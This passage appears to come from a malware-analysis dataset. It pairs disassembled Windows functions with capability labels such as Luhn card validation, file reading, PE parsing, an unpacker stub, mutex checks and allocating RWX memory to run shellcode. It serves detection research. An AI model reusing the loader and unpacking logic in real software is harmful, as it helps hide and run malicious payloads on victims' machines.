joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000b510
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x18000b5dc
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x18000b5dc
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x18000b5f5
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x18000b5cc
cmp byte [rax], 0x5c
jne 0x18000b5c6
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x18000b5c6
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x18000b5b2
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x18000b5c3
test r8b, 0x10
jne 0x18000b5c6
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x18000b5c6
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.180008140
test edi, edi
jne 0x18000b530
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.180008130
int3

Function at 0x18001cffc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18001d012
mov al, 1
jmp 0x18001d072
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18001d023
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18001d070
mov ecx, dword [rcx + 0x18]
nop
call fcn.180026898
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18001d070
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18001d070
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18001d070
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18001d072
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x18002187c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180012050
sub rsp, rax
mov rax, qword [0x1800430c0]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.18001cedc
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1800218cb
mov rax, rbp
jmp 0x1800219d3
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x45550]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1800227c8
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x45550]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1800219cf
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800219cf
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1800227c8
test rax, rax
js 0x1800219cf
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1800219cf
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1800219c1
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x1800219c1
cmp byte [rcx], 0xd
jne 0x1800219a7
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1800219b6
cmp byte [rcx + 1], 0xa
jne 0x1800219b6
inc rcx
jmp 0x1800219b6
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x434d0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180021989
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1800219d3
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180011410
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180021b68
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x180045550]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x180021bbf
cmp word [rdx], r13w
jne 0x180021bbf
or byte [rax + rdi*8 + 0x38], cl
jmp 0x180021bc4
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180021ce9
mov r11d, SafeArrayGetDim
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x180021d0a
lea r9, [rdx + 2]
cmp cx, r11w
je 0x180021bfd
mov rdx, r9
mov word [rbx], cx
jmp 0x180021c24
cmp r9, r8
jae 0x180021c34
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x180021bde
jmp 0x180021ce9
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180021cde
cmp dword [rsp + 0x80], esi
je 0x180021cde
lea r8, [0x180045550]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x180021cb6
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x180021c86
mov word [rbx], r13w
jmp 0x180021ce6
mov ecx, SafeArrayGetDim
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x180021c93
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x180021ce6
cmp word [rsp + 0x70], r13w
jne 0x180021cc3
cmp rbx, r14
je 0x180021c80
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1800227d0
cmp word [rsp + 0x70], r13w
je 0x180021ce9
mov ecx, SafeArrayGetDim
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x180045550]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x180021ce3
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180021ce9
Function at 0x1800260dc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18002610c
xor eax, eax
jmp 0x1800261cf
mov rbp, rbx
cmp word [rax], si
je 0x180026131
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180026118
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180026114
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800247c4
movsxd r14, eax
test eax, eax
jne 0x18002616f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180026105
mov rcx, r14
call fcn.180023114
mov rdi, rax
test rax, rax
jne 0x180026188
xor ecx, ecx
call fcn.18002013c
jmp 0x180026164
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800247c4
test eax, eax
jne 0x1800261b9
mov rcx, rdi
call fcn.18002013c
jmp 0x1800261c3
xor ecx, ecx
call fcn.18002013c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180028f44
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.18001d500
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x180028fe5
cmp ebx, dword [rsp + 0x30]
je 0x180028fde
test esi, esi
je 0x180028fde
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x180028fb9
sub r8w, 0x61
cmp r8w, 0x19
ja 0x180028fc6
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x180028fa3
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x180028fca
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x180028fe7
mov eax, 1
jmp 0x180028fe7
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18002ba54
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1800227d0
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1800227d0
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x18002bba4
cmp rax, 0xffffffffffffffff
je 0x18002bba4
xor edi, edi
test rbp, rbp
jle 0x18002bb4f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.180020984
mov rbx, rax
test rax, rax
jne 0x18002badc
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18002bb45
mov edx, 0x8000
mov ecx, r14d
call fcn.18002b8d8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18001fe34
cmp eax, 0xffffffff
je 0x18002bb25
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18002baec
mov edx, r15d
mov ecx, r14d
call fcn.18002b8d8
jmp 0x18002bb45
cmp byte [rsi + 0x38], dil
je 0x18002bb3c
cmp dword [rsi + 0x34], 5
jne 0x18002bb3c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], SafeArrayGetDim
cmp byte [rsi + 0x30], dil
je 0x18002bb45
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18002013c
jmp 0x18002bbb8
jns 0x18002bbb8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1800227d0
cmp rax, 0xffffffffffffffff
jne 0x18002bb70
cmp byte [rsi + 0x30], dil
je 0x18002bbb8
mov edi, dword [rsi + 0x2c]
jmp 0x18002bbb8
mov ecx, r14d
call fcn.180026898
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x18002bbb8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, SafeArrayGetDim
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], SafeArrayGetDim
jmp 0x18002bbb8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x18002bbb1
mov eax, dword [rsi + 0x2c]
jmp 0x18002bbb6
mov eax, reloc.OLEAUT32.dll_SafeArrayAccessData
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1800227d0
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x18002c680
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18002c6a8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18002c6a8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1401a5b80
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1401a5b8d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1401a5b9d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1401a5b85
lea eax, [rcx + 1]
jmp 0x1401a5bab
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1401a5bbe
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1401a5ba4
sub eax, 3
jb 0x1401a5bde
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1401a5c2d
sar eax, 1
movsxd rbp, eax
jb 0x1401a5c14
jmp 0x1401a5bec
add ebx, ebx
jne 0x1401a5bea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401a5c14
inc ecx
add ebx, ebx
jne 0x1401a5bfa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401a5c14
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1401a5c0d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1401a5bfc
add ecx, 2
jmp 0x1401a5c19
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1401a5b42
jmp 0x1401a5b8d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x100a00
mov dl, 0x17
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1401a5c7d
cmp rsi, rcx
jae 0x1401a5c85
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1401a5c64
cmp al, 0x8f
ja 0x1401a5c64
cmp byte [rsi - 2], 0xf
je 0x1401a5c6a
sub al, 0xe8
cmp al, 1
ja 0x1401a5c4e
cmp rsi, rcx
jae 0x1401a5c85
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1401a5c54
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1401a5c85
lodsb al, byte [rsi]
jmp 0x1401a5c64
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1a1000]
mov eax, dword [rdi]
or eax, eax
je 0x1401a5cee
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1ab058]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1401a5c92
jns 0x1401a5cc7
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1401a5cd1
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1401a5ce8
mov qword [rbx], rax
add rbx, 8
jmp 0x1401a5cb2
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1401a5d32
cmp al, 0xef
ja 0x1401a5d1a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1401a5cfa
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x1401a5d09
mov eax, dword [rdi]
add rdi, 4
jmp 0x1401a5d09
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x267]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1401a5d86
sub rsp, 0xffffffffffffff80
jmp 0x140095920
Function at 0x407370
Capabilities:
Link many functions at runtime

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x60
lea rbx, [rsp + 0x30]
mov rcx, rbx
call fcn.004015d9
mov rcx, qword [rsp + 0x30]
mov rsi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rsi
mov rcx, rbx
mov qword [0x004ae098], rax
call fcn.00455470
mov rcx, rbx
call fcn.004027cd
mov rcx, qword [rsp + 0x30]
call rsi
mov rcx, rbx
mov qword [0x004ae080], rax
call fcn.00455470
mov rcx, rbx
call fcn.00402d35
mov rdx, qword [rsp + 0x30]
mov rcx, qword [0x004ae080]
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rsi
mov rcx, rbx
mov qword [0x004ae078], rax
call fcn.00455470
mov rcx, rbx
call fcn.0040436e
mov rdx, qword [rsp + 0x30]
mov rcx, qword [0x004ae080]
call rsi
mov rcx, rbx
mov qword [0x004ae070], rax
call fcn.00455470
mov rcx, rbx
call fcn.004033cc
mov rdx, qword [rsp + 0x30]
mov rcx, qword [0x004ae080]
call rsi
mov rcx, rbx
mov qword [0x004ae068], rax
call fcn.00455470
mov rcx, rbx
call fcn.00403c27
mov rdx, qword [rsp + 0x30]
mov rcx, qword [0x004ae080]
call rsi
mov rcx, rbx
mov qword [0x004ae060], rax
call fcn.00455470
mov rcx, rbx
mov rdi, qword [0x004ae078]
call fcn.00404bc9
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x30]
call rdi
mov rcx, rbx
mov qword [0x004ae058], rax
call fcn.00455470
mov rcx, rbx
mov rdi, qword [0x004ae070]
call fcn.00405131
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x30]
mov rcx, qword [0x004ae058]
call rdi
mov rcx, rbx
mov qword [0x004ae050], rax
call fcn.00455470
lea r9, [0x004ae048]
lea r8, [0x004ae04c]
mov edx, 0x20000005
mov rcx, qword [0x004ae050]
mov dword [0x004ae048], 4
mov qword [rsp + 0x20], 0
call qword [0x004ae060]
mov ecx, dword [0x004ae04c]
call fcn.00476870
lea r9, [0x004ae038]
mov rdx, rax
mov r8d, dword [0x004ae04c]
mov rcx, qword [0x004ae050]
mov qword [0x004ae040], rax
call qword [0x004ae068]
mov rcx, rbx
call fcn.004021d1
mov rdx, qword [rsp + 0x30]
mov rcx, qword [0x004ae098]
call rsi
mov edx, dword [0x004ae04c]
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
call rax
mov rcx, rbx
mov qword [0x004ae030], rax
call fcn.00455470
mov ecx, dword [0x004ae04c]
mov rsi, qword [0x004ae040]
mov rdi, qword [0x004ae030]
rep movsb byte [rdi], byte [rsi]
nop
mov rbx, 0x4b
nop
jmp 0x407594
nop
nop
mov rax, 0x91
nop
jmp 0x4075a0
mov rbx, 0x24
jmp 0x4075a9
nop
mov rbx, 0x10a
nop
mov rax, qword [0x4ae030]
nop
push rax
nop
nop
ret
sub rsp, 0x28
call fcn.00414750
mov rax, qword [0x00492b40]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x00492b30]
mov r8, qword [rax]
mov rax, qword [0x00492b20]
mov rcx, qword [rax]
add rsp, 0x28
jmp 0x407370
Function at 0x413dd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x004ae0d4]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x413eea
mov rax, qword [0x004ae0d8]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x413e1e
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x413ed0
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x413e02
mov rcx, rbx
call fcn.00414c10
test rax, rax
mov r12, rax
je 0x413f22
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x004ae0d8]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call fcn.00414d30
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x004ae0d8]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x413f05
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x413ec9
sub eax, 0x40
and eax, 0xffffffbf
je 0x413ec9
mov r9, rbp
add r9, qword [0x004ae0d8]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x413ef1
add dword [0x004ae0d4], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
xor ebp, ebp
jmp 0x413e2b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00413d60
mov rax, qword [0x004ae0d8]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call fcn.00413d60
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00413d60
nop
nop word cs:[rax + rax]

Function at 0x414b20
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x414b61
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x414b58
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x414b63
add rax, 0x28
cmp rax, r9
jne 0x414b44
xor eax, eax
repz ret

Function at 0x414c10
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x00492aa0]
cmp word [rbx], 0x5a4d
je 0x414c30
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call fcn.00414ae0
test eax, eax
je 0x414c24
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.00414b20
Function at 0x414e80
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004aea40]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004aea20]
test rbx, rbx
je 0x414ed4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x414ecb
test rsi, rsi
je 0x414ecb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x414eb0
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x004aea40]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax

Function at 0x415630
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov rdi, rcx
movsxd r12, edx
mov r13, r8
call sub.msvcrt.dll_strlen
mov rsi, rax
lea ebx, [rax + 0xf]
lea eax, [rax + 0x52]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.004157f0
sub rsp, rax
movsxd r14, esi
movabs rax, 0x656d68732d636367
lea r15, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
mov r8, r14
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov eax, 0x326d
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
movsxd rbx, ebx
mov byte [rsp + 0x2e], 0x2d
call sub.msvcrt.dll_memcpy
lea rax, [r15 + r14 + 0x10]
lea r14d, [rsi + 0x50]
movabs rdx, 0x6161616161616161
xor ecx, ecx
mov r8, r15
mov qword [rax], rdx
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rdx
mov qword [rax + 0x30], rdx
mov qword [rax + 0x38], rdx
movsxd rax, r14d
xor edx, edx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + rbx + 0x20], 0x2d
mov rdi, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x415719
int3
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x4157b8
mov rcx, r12
call sub.msvcrt.dll_malloc
lea r9d, [rsi + 0x10]
mov rbx, rax
mov r10d, 0x40
bt rbx, r10
jae 0x415754
mov r11d, r14d
sub r11d, r10d
movsxd r11, r11d
mov byte [r15 + r11], 0x41
sub r10d, 1
jne 0x415740
mov dword [rbp - 0x54], r9d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
mov r9d, dword [rbp - 0x54]
je 0x4157b5
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call fcn.004155b0
cmp rax, rbx
mov rsi, rax
je 0x4157d0
mov rcx, rbx
call fcn.0041fbd8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
lea rsp, [rbp - 0x48]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
lea r9d, [rsi + 0x10]
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call fcn.004155b0
mov rsi, rax
jmp 0x41578f
xor edx, edx
mov r8, r12
mov rcx, rbx
